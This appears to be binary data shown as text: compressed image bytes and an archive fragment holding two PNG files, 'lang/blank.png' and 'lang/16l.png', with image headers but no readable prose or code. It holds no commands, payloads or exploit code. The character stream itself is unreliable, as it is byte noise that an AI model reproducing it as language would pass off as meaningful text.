�f��umu���GZ_�q���?���{��Ҝ�~}k�4�UK���}�;���z�3��������`䖿��g�e���R&\����i����c��y�C�zB͸��m8~����A�/�q��+�(�b�0�&-��;�U�(K�&��
բ�����_%?��s�0C=�@x��H�ӧ��`�z�O��Vz֌x%��;���?T=��cHEK���U;��D���x�µ��0=b�:���Z|�&&�h�ƞK��J�MPz{��4´	��\MY&�yk�6�umm�,Z$���3��DFP|�=�zlev&X�J*�Tf��~ �9��3�mbˁ:��kŊ~��	�9��[R�ʯBU��V��{�7��{��������N��YO�&�G�G������Ϝq�.��U��۪{��Ef0
T�e�V��~d�[��6аI�𝭞�^s��u4}e7�4[�T떷��m�@(_)�[i�*
�c�sg�S7Le</nܨ�^,��Wׂy�~�I��J�>Di���<!7_Q�v�/l�M��_�X���w��Gs�{�	o`�r P��+T�_hΚ�(��=C�#(S�(PG;�쾍`V��:������a��N+w��T��.�}��R�G-��@����h��Yn�Q醛�=�%�O��|�j�;G��3m[�}}}�7}$�&�v�t��l]�޴>�S��5�|�ѵ+���X���L@�aף1~\�?{��C�z�jź.����
�Q"��}�%۴�Z͌E����m�*R2��Rݠt�Q�P��B����t���v	Ԯ��E��ۤkYg�]ѯӰ	E'���+�lS�T��Ѣ�W>��5׫]��ɧ�E+��M�*˱�y�����y�����R)e�X��j��9P����k�kҒ�|)���K|evx�ի�H_5�jt���?/��u�0KV6������u�U��/���E�Y>����O��&P����k����ZXa�|�آ�D��+Wơ:�3���vGk6��0�rc��������ZR96�߄7+��SP,H7�n�^i�S�7�i5ʰ��+�~9���h���IӰ�ce��~�Z/{֧�^����:8�I쯶�ʌ�+�6��2�%8~�ʱy��W`�а	�~�9����e��#��o\�f�ҊU�2)9ϯQ��?�t�j��w�0^�a��m�;Mk�2��q����?��L��Ajs��{���J�&u�3�b�|R�G)�	�rI��S���ש|��z�(�E�n	݂��\#ׄ��'d����9r��x�h���=K�����w���?S���y�)���n�ƣY�h
ܞ�Z��ݻ����o\}-���^S��]��j8����S�\KN�Τf��jkmm�6K��۫i���3�fL��_�W蟥\���쯶���Y��ѓ,�0�?p9ϑ���c�:���^�N��9�����߻Csˁl�QڌѢ٬e� ��4F���jϵe�@=������aS�R��n�jgs��>��C�ă�|�s�%�w��,s4����O���3�T�ק~��N-X/�7mR�['%:���Y�G8�$���;�����~҉�쳷Rs�Ny���{#L��x�O����I�[�5.ٟ�������O<[���i[ݞcP+����@7��g�Sm��9(���=��M�&_�jBf�i
ڢ�d������_�BA�䗩G�	����d�O:�o�*�V(+e�P6�0+�Ǚ���?{F7����{�gR�n�.�)[��߭���.8eQ|��y�:��^��?���/�5�b������������褡���xI\tj�����Zw��5������T�!�n�Y�%��XK=p�U����Ѷ8�Inū����4��J3Xm&08\�?��wu�ٖ�"�3.��Y�?8AZ����U�����w�~�J���u��+�_��eL����v��������P���cq�,�JS�ז�ɩ3��k�o`[&�%���ѧ�d��x&&9C�(w������)}��������m�?AX:3�޹^g^�\�z�"�m��zv~�^��#r��E4ۈ�3n�\���70�cEי�.@���]��֟q�R���6>�ƍ�{{eEgr�Vˉ���H^�k4���m�����c7YtM� dITR�|�RO��7��//���Ϩ4����{o�ƅ��z[_����Z&,oyv-���>BMj�)��`;
��l�jmU���������>�(�M�;�t�-=���@�8c�|lS����0Iy��rhǙ(]��
����޺vλ��+���o��2�d��-=7=�����:�+:��k��n�TQ7s�G�Wx���K����][��̉&?��|�p{����x޺uf�Z_6o�1m���f
�����`�A�qF�я���|a@`H�WO���@�h�ʨ�W���|�I��#>���t���S���i[V:E��Mn�U?Ӵ���|_�V��ן��ϣq�������&
��DWD`�A����Kj��_u��5�?<3��@�6[���LUծ������o�U���RkJ�y.?=_��w/��R.%���˚%E_l5�yAtFb��|�)'�0^�d�����z�ꨳ�i�?Z�X��n�Ó���j�/-�j������#��ߢ�޼���L9�5�Hf��OV9�;:�����fE�8�:��a�hT��\�8���6�m��ȶ�s��T��Gj��K�����s�g�Q
��5��xO�@Z��-�_��
��x�&P�x	
dme�i�M����=�j|��fo��Mr@��P���fnʗU�㳰̞�Ͼ��zⶬ�t��䤢˳;�V����~uU�7���iGꑠ�G�^��]�M�&�_E�C��_���ӳ�7���c;������	��c��ݛ��9����xt��a��$�Q,�zPP�A=���/�zD�:��h�W!4K4�WCξ�d�����ԃzP������8��Z;@��� P Pj�@
��5@���� Pj�@
�@
�5@�@��� Pjj�@
�55@���� Pj�@
��5@���� Pj�@
�@
�5@�@��� P Pj�@
�55@���� Pj�@
�@
�5@���� Pjj��,ss�-kn�&o�3�Z�>�<��X���ԃzP�A=^@��6��mذ�x�Mq�n?�xm��Ǥ ��M`Ͽ�ʣ�]�2NJ�g�bI*5��o��)Z{�;���
��}�3�
��Q���t��K���ɞ%�oL���YY��q(jD�4�+��/VeeBu��"�%+=�ӕº��w��~���O�_�Ռ�^E=��"K��Ζz$���O[b9N�7����c�?���O,q,[G����'��z�/�������}�2�k�6+��ءޜ����걝Ə5ǿY�ʍqA���5�4~D��%��Jﶫ,��S�r�>�$5���uwt�B�'��q,-~��q��k3`�׌��{WP����ܙQj��j=�S�	���)UnwǸQ1}%>��
ٗ������]s��j9̓��V嶴*K�I뱝�M=&�f�m��/5��?�b�H^ۄ��;$�h�{:niI]�-O,g9d���0�=4?���r����v?Ziڼ>�3ۼ�(8J��x��V��
�j�Iݍ��a�����dwu*��?4��Ip<�W�橯P�|`3мQm��b��#|F�<`ZgN�O=��C����ürG�j]�+��*]�6Aڊ�D�PA�++�_����	�R��r��*ߖRyIJvK�¬O=��O\�����b}�>hp�3�?�߆�U�[W{Fw=��z$�G`�W����G��6�G�ǘ���c���]�mҊ9����֙v]��L�.耵������]�����ݻC����劺���{mU7R�D��߉l���y��F��_�A�U�2�1��ϛ�|~�O��Nj��4:L�KP.u�pX�^�8r;��3
=��%�{�ʕ���c�z��P�{�r������,�v�
���&@��q�(�Β��W�)n<���Ra�����n5�:o�:Z�a^�v�����?Ψ���N�U�J���ҷ�#P��*��ǤS��	>�Ŷ�OA��?�����4~L��?��#�ɫ��u�rWKڜx!��vK�@o~���?v�T*�3�f�6��f�0c�m^�����c�.�i����O|j�~�}e�k̾,P�q���c���\�C7�8P{6���cf#�T��I�N�S�+��P�v���ZX*
�\,�������-/`��T�{qˍ����R}i���*j;Q*��	��W{&P��ϓ�
�&O��@=f�wWe��B��3��W_/g��>��W���Kv���b^��:m��T�F3<Ə)���B�77o��n>�?��?��3~p�9��1����������];�Ə�cvK���;�����VK��^�sa�ܠO��(�:��~�����?��E!z�>��u�ȚK�+4j�Q�z����j���쐕ɘ[Z~�`�b^`'Ԏ�!��#�B��|�>v�/n^2�/շi{�����|�'�@\T�/6>d37�y���R�?{j=��\���!��2C�9vi=„�b���L��T�g����ь�#�@�h�qKn���q�ؖ@����X���A{k�Zզlo�rZھ�t5���/J�*׳HA������`+��u�ZX��4m���{�RQvQ'�S�Ϋr��]��m�M��Y��IW���/��-�P�q���5�8x�\3�t
��i���0��|a�I�c�z�{F�0�(��t��U a�T`%;S84��.�K��]���������l��E�����M�&�~FY�z��g�
z��vބ��x�=)���ip�}i���v��"��C�9@��W��f��Ns�(�K �В�m��-|ڲ����]�h��LGK���,�s�=J�}�G߸���l��6��	s��_�ŷq�X����e�u�H�r]Y�~م��']O�sf��ӟ��]�eU׬�_s�ut����4�N�&
p����"�;��v\ݫK_1]Kgd��~��3"P?�b���� o�_�-+������Wɭz�1��<_Ao�V
��e�y�>ꄉ�Wӻ�>4��JU��5������Ғ��S%������W�����	_�1�o��NU��-l%P�ZR6�QAʹa����1�[���{Ǝ��=�����/���J��ʙa~�+�3�t��&DO7}�̈́�lM5���+mی�3�r�g��zpY��?�@�f������;'�[�&�,Z��_�(_�5e{���D�z�
%���?�xLo����?��[��i��ig�K��U����R��mˡS0��(�͎xl��}���m�e�y�Zt�\��M4�'�ό�}�4r�T�8_Yy��a�:��3��MvW���u��bI~.K��jP7G<[�Ȏz��#Z��Y-;����qZ,9Ӣ�W[��l�A-��G�����J�āڊf�;BY�V:Ԧ��E=�c+�ɕ��M�Z�#=���3�)m[p����
��7g�G��SK����G]�5���Q�:�^�_�+�\)u���9s�{�Eg4�
�Ţ�l���N����m���]7���&Ԗ:Fv�-\�04�,hi��C'%g�\��:j
+i�L���|�yR�o�Nmm�Ϧ=���O?6�m�����i�
��T�vT.+�%�ۊ�pCӤ�&K-���-��{6>�q�3!�nK�fe�0a����/�	�ΜP�]�v�h��0���T�\-����蚼���y��7�r�2���ف:����M:q�L?��G��ǡy�]��VѦ������|��O�
~Un�7p��#/�g��ی������'�,�uK�hT���k���zfs�Lbw|HV�/�/J����
-�$��.��Ɯ��ᅪ�M�a�vY���2�%��5[ђ���4N+��%1�h4�4��U�C�ON���҅+3j{��졮��mB�&��P�v|j��a�J�C���3[t͹��?�뫷�R�u��_;�mb+�{��B�욚ӆQX�$��q�1mh�׆�����|�[�r̾,�4ǚ`��]�M��I�xݱj3������9:��ٺ}�扳�{�y̾�
�}{=���A�<�yɁ�ޮr*E�&��Cw�}+���v.P00+m�C��Wo�Ũ��@��}�oJ�j���_�dj�ʥ��zғ(^��P�3����g�0�eP�\ڍC�5x嚒%{V��_��''v��U�)�b��Ҏ�S����<��9�q��&T��e�\�*�*t�a�޳3�y��U>��پn=�*u��k��3m*x�v���M��w�0��V����tNN݌5w�F�&?�ΰ�ey�Z���
m������޻�=s�kZәV>-�}�zۣ���]��-��H��6o�xn�ݵ�sKG�(���/c�1�=�ی��3g�2G���:J/���;Ph
m%��G]��*����0����Ƕ�#֨�nH�N�]/^Vz�,����x����j�;���C&Tf/��&4�˦���h�W�����6�ו����j���[@=��W)H�T(7g֬�5-ۯҰI�pZC�`�4�_$�|B&��>�nL������V���˰ߣ�<dB&���5��]�����[����e__���r�5ܯ��J��lݸGc&��w�Y]r�z-�LLe�2�����6t��g����>h`�G8*P�x��e#��%N�a��4z���a:�:��7a��|$Ԯ!E�C~ڻ
t���Ot���q�)�0D_\�_/>��Uͻ��ʟmm�H�"��e�r�zJ�4�)?���U����^YЌ����ƶ�5q`�Ɗ�p�[8���ym�o��B`�F?��1�`����>��7�	/�2�hb+ˇ�Np�~7�r�^�)��6�Xz�I�t�a��ZQD��%���+t��FO9��|}�����-땉&r�럙�֛O]�k�l㋏���m���0="g
�[[zψ�PG�ͳ�o�K+��W���Nz�x���IE3϶�@m��1�٭-C?�����!�L�y_�=���6����]�97'�̈́�EM�x��	֭�R�[LhV�K`L7��̯jƿה{E��/z��3���^q��O���m���jƌ�ӸI���'j��L��9ۋ�p�p̾>����Ts.���?��kAV�n��������P�k��|0��DV��68Ο���Cz6���������G���fpy���j����cۿ�U�'&��h�=��^t)����G�|�����e�7�6���iyc/�ը��h��\/��A=rGՔ�dU�]u'��/F�V��F�s������na��t���Ł����-ͬ��8���7Jj���0L=��#�yE}a{l��MP��Woѧ'��L=�B�z������̒U�K��<]pg����w�;���z��L�뒫��w^֡��j,�ߝs�c;�=�����TS׶�7�s�
�1��&�ã�����p�Y�E=����ԃzP�P=�@}0��o�hʢ��}5ɂS��A=�����T������ Pj�@
�@
�5@�@��� Pjj�@
�55@���� Pj�@
��5@���� Pjj�@
�5@�@��� P Pj�@
�55@���� Pj�@
�@
�5@���� Pjj�@
�55@��� P Pj�@
���f���1������m��ja�4�$
bYԃz�z^@�A���3�$�j�d�M�{���@3OJ�ԗ�~�O�(��I��t�E�Q��8���_��9��n>�2ꑠ�ȯ���t��U�hSo�>y�Cz��W˯�Nbc�%�
����u�o�G=�u��XZ��M����Z�&�e�l�0�����۩G�z�� f��N���%نDw�Q���X��W�=��N|��:�5�k�mK��Gi����=
jζ�j+4�g�n�R@�@�x��j�S_��ְP`
	ְ{���i�9�~���ē�&8[����j{�I�u蹲�T��a�~,_W�4��O=�#�5���J����6�ѝm��t��0�uSN*��0|��
գ���1�z�\O5���g�5on������^=S���G�d����m;,+�c�?r�0�@-�U����5M���;c�I���	��K���%��ysvRՄ����L}���Y��9��TF��Ѱ	E#�zE%���AӴ9Ӥ�]��@mn�'M�zx��[�*e��c��v����&���z�Z�t��|t�<d��z��˫��(�o���C�ɯ9[�����|���0�@�z�������r���<΀�J�&0���G+V�Ay P�\y�QZ4�~|��=A<k��N{i�]����=��W?ӨG*58C�\�vE����P�n5a�]�ڻ'P��"w�_�L�^�I�y��o�?;6T�lG��N�z�����Z����z���Z��W�֜.�j7�jU��U��-fj+Zi�?fҰ����#�B4@�M٨�@����y´itr�W���w�ێ>E�������-�3&�yZ|�Q:t�C4g��ﱿH����\ץa�L�-�0����z�	��0����z�ͯ��꣖�u���q�:��G�&P��:q=\�	ԍO�|z��xh�<t���c��+����[T�Z���0�:�p�TE��c0�@m��B-���4޲�-�-�8uR�8���r�<�7�PW�:��cT�U��s�)�f����_���%�}��	pV
�0��v�W�V�g��ͱ�aϸ2Ǡ
k㿧d��Ϛ�wJ7B���:�p�9�z�U����=�ه-{n��x��-�V�=�������N~�2y���?�%�m�Q��)�h�G�P�ZS6j[a�M$3�u1?0Cm��j���A�P.4���������ȓ�X)ij��s���W�a�8�U�	��F���)T�&/���h�3�ϝ�ɶ�5r�G�>��u�z�|����WG<^xz�>u��:��􍯽Q�~�N}��*��֧��c
�,j�Nݥ�)꫻��ZOAsuW�깬��}o�z冕��8P{*�J�o�}Ԗmգ�<$e��i�q�7����T��M�<��]gBu!�1=����8#�|x]<"�jk{�Z��F,���Jj�24�T걺O}}���8Z`-�z�պ�U*Vk������=�>!�����1�
���e��?���!->�7�-�Κ�fj�<�L�k��B�q����'�������TM�n�'��3p���߳�6��rw��Cug����@�<�1�xm��h[u����&�F먇�D|�����:��ů��o��	���>������t[���Ƨ=�"�[�Β�Tu]R-��iV�6ۊ���d�[�-��Y�~z����|�+N�7?�]M����rYA��ܚ�p�<w��m��p�y�9@4�+n{��Z�f[�Չ�@�y�-��5�3�~Ѷ�����д��i��1�����ciͺ||��:�3�ꋗ�ڄ��B���`�泦0%���@*lҥ��loR_��7�u�f�>�~�~}�ҏ�ҏ~Co?�m:�'��'�S�ܯg�?�'���+^#��h��\�~�e�}���o����׮T�.�7��&��6Y��y�.=�67�u��%%-����ntpc�z�Gϯ���7_����~�۳�_/ѿ�]�9�}T^55�b���Sԁ	����CAn�H�ً4�W)F�v
B��ƛ��g?�;���X�?�>�����\{��z�i}������mt��x-u4+�2#�Xt���?�?�]��q�ᇤ�>�k�7%��Y��.;�Q1��d�������3�ZN<K���ռ��͆��|j��.떟��ˎT���z@a�QW�/>L5P��`��Ѻ�a�x����8?~���h^��/�߆��2z�����[s�Lx��_>�<I1��X>8IE_$���L���R\t�����΅F�^�a��->7L7��x��#Z�a��~�3�cicOI����k�y�����oߡ/\��w}���BcM6S��%��	e-�J�
��qSut5�1_=�oD���L�ثyD7>�:���l��WJ�;��m.C[0س&��B�)q*��٦}�Z��J)�_d��*��Z��Wk��5ǜ����������T�}�ڳ}N�!5$h�(P���x�^u��ex��$g�1Ks�G�zD_=n�7�08�_��{z�z�;��E{��.�g������xz���I���H����m��u4y�s[o�a�f�DA,�zPP�,P;��o�hʧn(�L.0P��x!�O���ml� Pj�@
��5@���� Pj�@
�@
�5@�@��� P Pj�@
�55@���� Pj�@
�@
�5@���� Pjj�@
�5@�@��� P Pj�@
��5@���� Pj�@
�@
�5@�@��� Pjj�@
�55�D)���eY���n���3�Z�>�L=�B� P�j=�=?_�J5��Λ.?�hsW��'W��'���r��ox�UWR���͟��c��G�Tg��E;f���j=q�[�7�׻���W-�ó���a�7|�u:�@
H��q,-~�¦n��{V��&�M��m+��Û���]wS�(��7���>0��:��*c�TZ���E�Z4W����7Hw߹TG��6m�۟��M�$�~�j-P_��P�Ǫ�?��}�9��؟_�ՙ��84���a���zMA~s#5���ZA��Sv�Q�(�Ǘw�sfN��fԗʫTջf�:׮��9�U�ا���u�"G���3�%�OZ0�E:l=�����n�W��Mk���+�5 ���U��T�ַ��lʖm[*׷�7���{,�M�sy���re�%��^Î|4�h3;]��4,^�J�;X��^�C���SY��a���l�'f��h��y�����~���:8W�_���bM)�]���@� P�I������c��6~�g��Ï<�1ύ
�v�K�޿ig�6�S�N�A�<�����y���p~WV��W����fǾޘf��h���_Ҹx�{�-�V�ܙ�m��j/�U�ЭM��V��x�Zv�����\��|W��V�x��Q}�6ݽ��J�fvV��tjp��@
H.�|�ł����-��ʽ�S\j��Z[T���c��=�V�{4lB�(_���8�'�@v����9R{��ȳk����h��);vU�m�5^,>��e�̧������2��8Gs�e���T��R{�����^ʮW�a�-h��k�)���k�i��M�p��s\�0�@�)�̭8��̙������ə5K�y�5[�ܹ�Z�[��.��y_��``V�-��jco��B_�С0�m^�>����,�頻�^��/��w��+/���{�F�_ׯL����u�'��k�t��{�S{���W5;��ʞ���R��b���9WG��5?���L5������|~����
�|�����K�eWm�#�5'K&`�Tu�����d\3��L06��������@��<}�{���n;Nӝw/��l+��	���O\�3���_���3�=X�ri����u��7����%Uf�뇊C����j)��E���05�	��5kǬ�v�/o\i�V3!-��RSX���꒿q�,�Q��g�^32�����4l�@�Z��_ueD��x�i��	߷����k�e��G<�/�Ԓ	iX�(D�wժ������-��e��_֌X��re�n1L�֪��@
��s�S��J5�-�y����]��{���U���Ξ1=^�[�����rU�?�Ya�>�A�uV#&��������)K<�^O-��^����s��/���زF�/Z?�X��Ƌ�g�����e�EX��wm�|ޘ��٧
~��^�X4C-o P�[�ᇫ�]�TX*��Э �o�t����xf:���}�֭��ߧ�3NS�QG
�?�V豆:y�M�6}`���������
zbE��뗮.��soP�����h[�6�E�p�8Lo�-��ߣ���%�&�f�j@b��)�����˷��t�lO��<�5����[�<�^ǟ�}�l�y������sY{�J��3p8x����_�E�D˩fΙ���R������+|pR"`��i;Y��S��7e{m�atB�}4n7v_��d�Ri��_���k�����Ֆ�ޮ��`��KiZ�(u04�<�0m�A��t���ТG��D	;�P�j���WTs���YA�,.*�Xګ)m�
�t-o˯+�^$�+חe�ԁ�y)�unYi�E�>�*�(���]SD':��[�uJ�o�9��K�f�B�j��7q��/Q�u�P����l&��f����c�y��^K�l��4�ݼ?ZZe� P�ʋ�*ay��m�w�m}�K��n4�����I��1��a��Y�y��zz b[5pϊ�5�eYV4
:��:���(��7�S�V����I(��e��i�)�z}�"���j`
�b�@
�5@�@��� P Pj�@
�55@���� Pj�@
�@
�5@���� Pjj�@
�55@��� P Pj�@
��5@���� Pj�@
�@
�5@�@��� Pjj�@
�55@���� Pj�@
��5@���dX��|��.�Ώ��ՠ�7�"�a�
g��e�-��M{�V3��i�Iգ�/�pۜZ�[ޡ�7m�����I�-��_���┢	�>��%�3���}��-��C�~n���_����]�&��l�����7�.8��;��]��ޕ^����T�y����\�=>����b�@��Z,�R�կ��gul����z����&ͩ�<9���Y�tHy�ׯ�3k�pʅ�������g^�L�G�_�ݕ��e�Է��q�����5��ߗ�u��x�@��vp�@o�xY8l��6v7~�����Tğ�:4��UM�5WUӤ3[\�'�ZO�X��o�.������3����g.������r�P��g��c����^K[@�"
 ��`|�/DĘ@b"hxI�&���EcLy1 %$�"�UQ$FbT�R� 
�@ii���+��ݙg����]�E�^��,��1��,3���f&�7�|���m�J�M;??��ޮ��i�ajZ���h�G��?*e�n|�ԡt�)��2�^��-��Tĉ�GL�ش9ʧ}*��=3��Wq��(?�v���>��-\t�����_���M���F�C�$��Ɉ����!��!��Tˍ�kjZ;@�Idyg}}Q96�d՛5��b�Q�U�����M�c�%D��y�J��vj����|[\�e����|�O3�����v��n���eK��b�4To�`m��˧i#f��|W���|��*�R����5-ʒ$ҭ[�����|��j�VGu�[u�ܨ����t&f`�ѻ%�n�=�]� �i�"^#�n�5����Y|){&N��w��������O����8q�_�dh�џ���il�.���c���|_�����h��g3O �i9�˝�Q�/ڲZԖ�Gejɺr���iζ�>�'ˏP�Z͊����4��Z�k�D��#��c���C:�ƶ���^`jl��
<'n^5��������C�[�����j&�4��?�SPo��Q�\��Q�z=�j��͜�yHwT�Q�rG[)_&���2�ԾQ5-��I̸fe�vq5�̬���o�5���oԍ1��y2Pb�z�j���<��Bh���C����s��_pC���'�w��|ݥw��j&�$M�'$��4B]La���3���gE1%��������c�M)�.-�����	�#o|��C
jZ�H�_��#�O��X��I�60�Hs}��с�uk��V��۰5��GZ�4Gߊ+��
�x~+�����)�J�m�4*���~�M�+o8���S�LΠnD���+N��Iq�=�z��S�1���R��Yy�fX���1�و�MԴ*mu��+Q=>��W��K�Ɋ���5��&���e~�p��^��r�9���?�t

ƭ����x�̳/[��W�>V0��lLV�^9$���A�D)?�4��9����q¼��9�ת^��?x��ho/G)+�g�cwU����eT֞p��i�_����4�ۂ:���������nŶ"/�RwwL]������oD��=n\>��sǜ����*.��aģ�C��'"���cT�7��wN�#��[�*�~de2cJ�=tz�wc-S���|{#�{��^o�W�j�?T�d�pPg�4��8�d���V��4��⛒���,��s�h���mF��Uߋ���ؗ�μ���{^7"��x&�$I�Z�sߔ���>�;n�E<����h�ƾ�1�+V��;�2�q'%{#�{�F=������Y��Z��/9��Us�x�朐�S��,�9@�fJwT�:b�����H�М	r���8jً�|r�w/�]�/)�ґfc�6W�x���뢫�]��x|�k��s뛿��7m��AM��W��Ļ�qq��x�7�z�\�mԛ	��ڲ�vy����h�F=ߌʥ����^q�	g]�u��NP7�#ͻ{s��*��V��]�xˤ�/v���){bP�6�B+ww��]Ge�Nk���9ɧ�����H��b�ศ��������u��-��X_]_�?}a���9�&iPg;n���9Bm�5�I�$���\7�K�����Vo��Z��7yH��`q��+w8�o�=�<��3��bɯ�-���F��?ym��[���Wk{�R*��ō��^�_���Vk��z?f��k��r�b�T���0���:?��r�=���[�Qm[��
�P�
@�c�F o�b�����FK'ԭ��;����?^��|�;�
�+�+@P�>��s���	,^t1Ҷ.lη5g����}.����1<
7�[1�}�5j`��A
�5j@P��A
�� �@P��A
j� �@P�5j���A
�5j@P��A
�� �@P��5j� �@P�5j���A
�5j@P��A
�� �@P��5j� �@P�5j���A
�5 �@P��A
�� �@P��5j� �@P�5j���A
�5 �@P��A
�� �`��o7Z	PVQlIEND�B`�lang/blank.png000064400000000137151721413500007262 0ustar00�PNG


IHDR%�V�PLTE�z=�tRNS@��f
IDAT�c`�!�3IEND�B`�lang/16l.png000064400000031600151721413500006574 0ustar00�PNG


IHDR�4��tEXtSoftwareAdobe ImageReadyq�e<3"IDATx��}	�չ�W�w�ҳ030�>���FPp��5j�&qK�7��}�����Kr���1.�F�FīAvgg֞��饺�wΩ^���ui1��u�:u���E�g98r��Y�;�#F�A����{=��_��ڜx��-�F"��?�D�H"j{\��Ɋ�&�F+�|���++)��ߴ��}���y�V	^Y�&�ΙS�}>���8�J�I���<�ݵ�֢�0������{7c����jdAB��0 ���7
�1mD1:g��ނmo�̴
j[7X�v(�i����	5O���pf�G�1u�h����ݐ�~ �)�wȍ�o�7��ȳd�GK��`@�L���F3{�	��ֳ��bQi��Ǒ�9F_t#\��T��>TUT�KjG���B�~�)��9��'σ�~�s�}8y�����֛�{�_�'�*+��.�Q[�ć�~?��JR�Av��pB5^Y�C���sxy�~|�g�A��쥀�-��O�«�Ɗ	]�qB�F�Ͽ\��G��{��e�t��U��7$c���W\���������3�1i�sX�#��-���h�t͞L�V��|��oe��'�A�O/ĕ��֭����YC΢a΅ *��9>���$ ��s�u:���c���z�'�-���%�ϛ�����,a^�c�	c�5�Mh��C���,2>���c
b��?��0��d�Z�V�8j*����K���:����6f��ܠehYV7>�7�7�����@g������cI��u���o @b�L�L�"��������h���97
���aOz�`v�dxC^v/-��F��
0��v��PU<�� �^L1]�NpR��.v/-�$@QX$-.��
C!U�3��L+$s'�L������%��K�h�(�(���?Ђi���}+�M:����0�l>�u�{dv/-�D$>����aG�L*��֞��;w�
N��
�i?�ͭ�{d�S�L�@L��Fn��j�nz��&�"�h�1r8��^O�N��2I<��l�3�_5�C��6e,��7�<+< ��9��s\%}������h}�af�(IҰK&ʰ�|�S7��]FP)��Jka��=q����(�f��X8���\0�@&��M�\���n6>��v���i�#�>���l\� %�X��s9���b:@��p��Zs�
(<���=>�ь�<3<��O����qY}޳h��pԬyN�(+�\8�jB�	r��"�r���J��h�V�w��%"���H�X���>YlQ�7���\V�x�$ �Q��B�!4� yL��5N!����"_�3�!�F"�y-~D��ᬰ��¯[�6Sځ���W�T�>m�P�zUh�nNmDSq1�*�iG��DfY��i�10o"1Y7	8Й��
Ԗҭ���G�������e�x����K��^�*#�x�sCR�~y����`ΔJ�ז�Q���#�S��z����Ϥ��ix 2�T�����
�<��}��ߚ��
L�NE��XL��!2������
�,Mob���Q���]�턵U��`/�&���g��	�4�`��6Ã���� x��5O�?�
2$����f#��QA�:�p�Y�vs��C%
���r*P����[s9)�%�`_��$�<?<8�կ{L��ɒ���L���4�X�W�Q�m�ԤN(p��T�H��]rFQ&a
E
����jx2,��>��*~��n����
�'@�1����?�D&�����k����'�ׯ�!a��][��H���'��?�Gm8V����J�)��ω��ehYSrmԏ�<�{o+*G'�JQ�8�
�hʏ�!?Q�:O{�o��1��P�����eE��
?X���t$&y�q�w`�'.ru��FN+i�=����Fz4�+)��s=p��g�ꮰ2����m�h��
��B6VmfEU����x@"8��0��y[�xe�-���M�`�\r�TLW6|��@Ps����
<�n?DIΕ��r�U�G�A�ǣO|���~#wr���H}��!>Q�[o7�ҟ���[����^v��~C�P��
G�T� ����#�����Y�[�J6�\r*1�6�gǚ���%� azy���q삤XPA���k�-�9?�%M���̌	��8'K�x �O�&D����F���F���ux����'�޻�b�)��Ip�A^�^�2���oe�P�f��?�Ϛ��$ߐ��3�T����eG��-M�N�е���I�]?���T�A4;��1$��14��a�>�������76��˪ODN��׆�ǪS8��``ǎ���
y<��� �#'<H��p�@�N<j<�X�/!LY�P��0$k��L	����\���t�&/��� ��yy��A��q�7H~���
ٟ�q*��0{zM��%S�7��'d�#���o6kt�n�}��7N������@�n���Y��>�p��	O�W//�hh�%"�}��/��"'a���B�l�䠊�(���577��^uc��v�2��%"q9�
����6�9gLdx@�i��'�'?�����ăE��M�6m���{�y�rC�8@�e��7��3�j�'i��N�I���ߟ]�ηh�{Ky
���
�3��_�i��d2C�E�ӹ�/�?��D����"|���A �#Q��U�1w1��� %x�8���P�f_d=�`�}H@I�"�-�$�u>Ytj�߹�e&<H��Ռ���F��%�+ج���:ELQ$��
���~o>g<XtT���͛x <��[���x7'� F� @�?MBʹR���'Msre�z��̩�M&�ʄ�
�"D��lI��(˜�0Y����[8S	P<�Z��9�"F���8��F%Q#P�*���֤K��� Al'�{f��E�����E-����|��Q��I�daٹן��/<��CV
l��lU^xp#@E�#���$�Db�W]���������XeJ�7�fR����l8��縺��B�8�ooe,X没�_�����~AY��W����;�*s�Z���@uh"c�!���aQ��;_ʨ�+vXa��k�������e�5�{�+��U!s��p�-�=Z
>���a׀�I�੭�1�gxz��C5<���M=�xp��eG��\�L\ K�TO�u�W�ܧ�'��� �pn�D�����Q�a���Dr[�e���$hS}b���4���G�u���cQ^lT�S��r�%9�T�͝���K�GA�ۂ�Y������ǍB[w8�yH�+O���"D�,32e�9-v�Am$R�g���>��k�V_�3�ْ[/P���O$����+��.|�4<X��׆��I��U�UY;��vnj�A��1
f% ��e�/P?;4�un�6�t��}A����d�
�,
��s!���E���+����%��)8X�́!��2�y�L�7��c��1�����x�/E<SF�5`F6lBd�66h���W�!r�-7���/�"��x�.�ж-�@�m���L	UXr�66#��S�0|�:��yy>�*cЗI�bM���'�R�� ��'m�Y�kM
8�
�(�Gf������,mS�����B�	�%�9H>Q��"8柒��H�PF�_�N����kY�z��΃���3r(L�صkװZ&!p�����:A��*�2�-2[/
��}|�������k�����fƃC�a�����9?a�DTP�aC�b�jk
���[o�ZTTT���ވT!I�肅QAV�_�
�Νd�+p��}�Xt�YX������3�D&�:::���
��9�g���K�S6�t��nE ������Z��P]]ͺ�7`�<���>\�?�#K�;^R5t�����@j@D�y��|�r|�`9��!#�v;�Af<ذan��f��f
n��L��
'd� f����i	�o��ݳv��t<�X,��%���ओOŖǾ�ww���0�8���x��'�+��-Z���n����Ԅ�𤱺1_�0��Y�7v�ޝ�c��iK:
�����qf��O�ǃc���.2����,��ilz�rt}��Y)$�@��f�4�8�����Ϙ�Q�����7v_N�Gjn�iLv�x���F��c�u�f���x�?f._��>q�BPlI��Q8��]d���
�Ot�����'.@�L9�j)��&m�-U��`���'��7���^NH�^2�3�@�M1�dK�O�ϴ���48�W���g��]��_Zy��?H�rnA���x��(&�h��,~A�H
�E�29�nd�oL�w��2�7��5��$p$<������=�4��ѿ��ލd�R����K�e̮���s,(�>#{�Y��zX�O��>���Q"�ԘB�/iG�.ik�b�&���t�D1�>D$P?Δ�P�����$;�?�a DLF˅�w���Qt���C��@��R�c̈�m��^�e�b�,�bR�7�O�Ā���a^r�"'j�;"��`o/0�A�
\���2�cf�'"�~L�*D[,󼰷�(3bW�xUH�T�\6��D�>z>�A����q�-��
�`�I,1�LK 5x�g*VN�o3��a;L]���3�)���Ot!A�,h�Ub��fH�O1��q�zD���U�(�8X���oQ�ǃc����G�⟟2|ﺬ0����������}�3��@���<�}:�>�z���Z0�}��? �ABFPG�/�< f�4�D��5eF@�7���P���j	��Ohv�C���.�Q��4�;9;�2��ֻ���Ѿ��������4+c*�����Iz��T� S�󎏌�I�~9����O^`Cy�
/���
�Y�)��%6x��F����?�[4��e�E�J�|�;r�_��z��o�ct��#����഼����>qѹ4���z�>Q�c��\Q��#�;v��dy�AH)��Zf�}by9h�$P���V/[�yފ��CQ��-Y�	]\K��@#pZ���lF����I8�\Fc|L�q�tqu�!�U�sc+��QL�2���Rt
